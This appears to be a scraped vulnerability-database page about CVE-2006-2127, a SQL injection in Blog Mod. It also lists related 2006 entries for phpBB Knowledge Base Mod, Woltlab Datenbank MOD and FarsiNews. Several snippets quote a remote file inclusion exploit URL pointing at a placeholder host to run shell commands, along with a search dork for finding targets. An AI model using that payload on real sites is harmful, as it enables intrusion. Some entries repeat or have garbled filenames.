CVE-2006-2127

CVE-2006-2127 affects Blog Mod 0.2.x; a SQL injection in weblog_posting.php allows remote attackers to execute arbitrary SQL via the r parameter, with a base risk score of 6.4 (Medium). No explicit remediation or exploit details are provided in the connected documents.

CVE-2006-2127

SQL injection vulnerability in weblogposting.php in Blog Mod 0.2.x allows remote attackers to execute arbitrary SQL commands via the r parameter...

phpBB Knowledge Base 2.0.2 - Mod KB_constants.php Remote File Inclusion

phpBB Knowledge Base 2.0.2 - Mod KBconstants.php Remote File Inclusion source: https://www.securityfocus.com/bid/17763/info Knowledge Base Mod for phpbb is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An...

CVE-2006-2127: Undefined Security Weakness

SQL injection vulnerability in weblogposting.php in Blog Mod 0.2.x allows remote attackers to execute arbitrary SQL commands via the r parameter...

phpBB Knowledge Base 2.0.2 - 'Mod KB_constants.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/17763/info Knowledge Base Mod for phpbb is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file...

kbmod202.txt

Title: Knowledge Base Mod for PHPbb = 2.0.2 remote file inclusion URL: http://www.phpbb2.de/dload.php?action=file&fileid=538 Dork: "Powered by Knowledge Base" Credits: Oo Exploit: /includes/kbconstants.php?modulerootpath=http://yourhost/cmd.gif?cmd=ls...

Knowledge Base Mod <= 2.0.2 (phpBB) Remote Inclusion Vulnerability

Exploit for unknown platform in category web applications ================================================================== Knowledge Base Mod = 2.0.2 phpBB Remote Inclusion Vulnerability ================================================================== Title: Knowledge Base Mod for PHPbb = 2.0...

Blog 0.2.30.2.4 Mod - Weblog_posting.php SQL Injection

Blog 0.2.30.2.4 Mod - Weblogposting.php SQL Injection source: https://www.securityfocus.com/bid/17744/info Blog Mod is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. A successful...

Knowledge Base Mod 2.0.2 - phpBB Remote File Inclusion

Knowledge Base Mod 2.0.2 - phpBB Remote File Inclusion Title: Knowledge Base Mod for PHPbb = 2.0.2 remote file inclusion URL: http://www.phpbb2.de/dload.php?action=file&fileid=538 Dork: "Powered by Knowledge Base" Credits: Oo Exploit:...

CVE-2006-2084: Improper Neutralization of Input During Web Page Generation

Multiple cross-site scripting XSS vulnerabilities in FarsiNews 2.5.3 Pro and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 month and 2 year parameters in a index.php, and the 3 mod parameter in b admin.php...

Knowledge Base Mod 2.0.2 - 'phpBB' Remote File Inclusion

Title: Knowledge Base Mod for PHPbb = 2.0.2 remote file inclusion URL: http://www.phpbb2.de/dload.php?action=file&fileid=538 Dork: "Powered by Knowledge Base" Credits: Oo Exploit: /includes/kbconstants.php?modulerootpath=http://yourhost/cmd.gif?cmd=ls milw0rm.com 2006-04-29...

[SECURITY] [DSA 1000-1] New Apache2::Request packages fix denial of service

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA 1000-1 [email protected] http://www.debian.org/security/ Martin Schulze March 14th, 2006 http://www.debian.org/security/faq -...

DSA-1000-2 libapreq2-perl - design error

Bulletin has no description...

Sql injection

SQL injection vulnerability in Datenbank MOD 2.7 and earlier for Woltlab Burning Board allows remote attackers to execute arbitrary SQL commands via the fileid parameter to 1 infodb.php or 2 database.php...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in Datenbank MOD 2.7 and earlier for Woltlab Burning Board allow remote attackers to inject arbitrary web script or HTML via the fileid parameter to 1 infodb.php or 2 database.php...

CVE-2006-1097

Multiple cross-site scripting XSS vulnerabilities in Datenbank MOD 2.7 and earlier for Woltlab Burning Board allow remote attackers to inject arbitrary web script or HTML via the fileid parameter to 1 infodb.php or 2 database.php...

CVE-2006-1094

SQL injection vulnerability in Datenbank MOD 2.7 and earlier for Woltlab Burning Board allows remote attackers to execute arbitrary SQL commands via the fileid parameter to 1 infodb.php or 2 database.php...

CVE-2006-1094

CVE-2006-1094 affects Woltlab Burning Board; the OpenVAS/NVD entries describe a SQL injection in the Database module. The vulnerable component is the Database module’s handling of the fileid parameter in info_db.php (and related database.php), which can allow remote SQL injection. The documents d...

CVE-2006-1097

The CVE-2006-1097 applies to Woltlab Burning Board’s Datenbank MOD 2.7 and earlier. The vulnerability is a cross-site scripting (XSS) flaw triggered via the fileid parameter in either info_db.php or database.php, allowing remote attackers to inject arbitrary scripts/HTML. The root cause is improp...

CVE-2006-1094

SQL injection vulnerability in Datenbank MOD 2.7 and earlier for Woltlab Burning Board allows remote attackers to execute arbitrary SQL commands via the fileid parameter to 1 infodb.php or 2 database.php...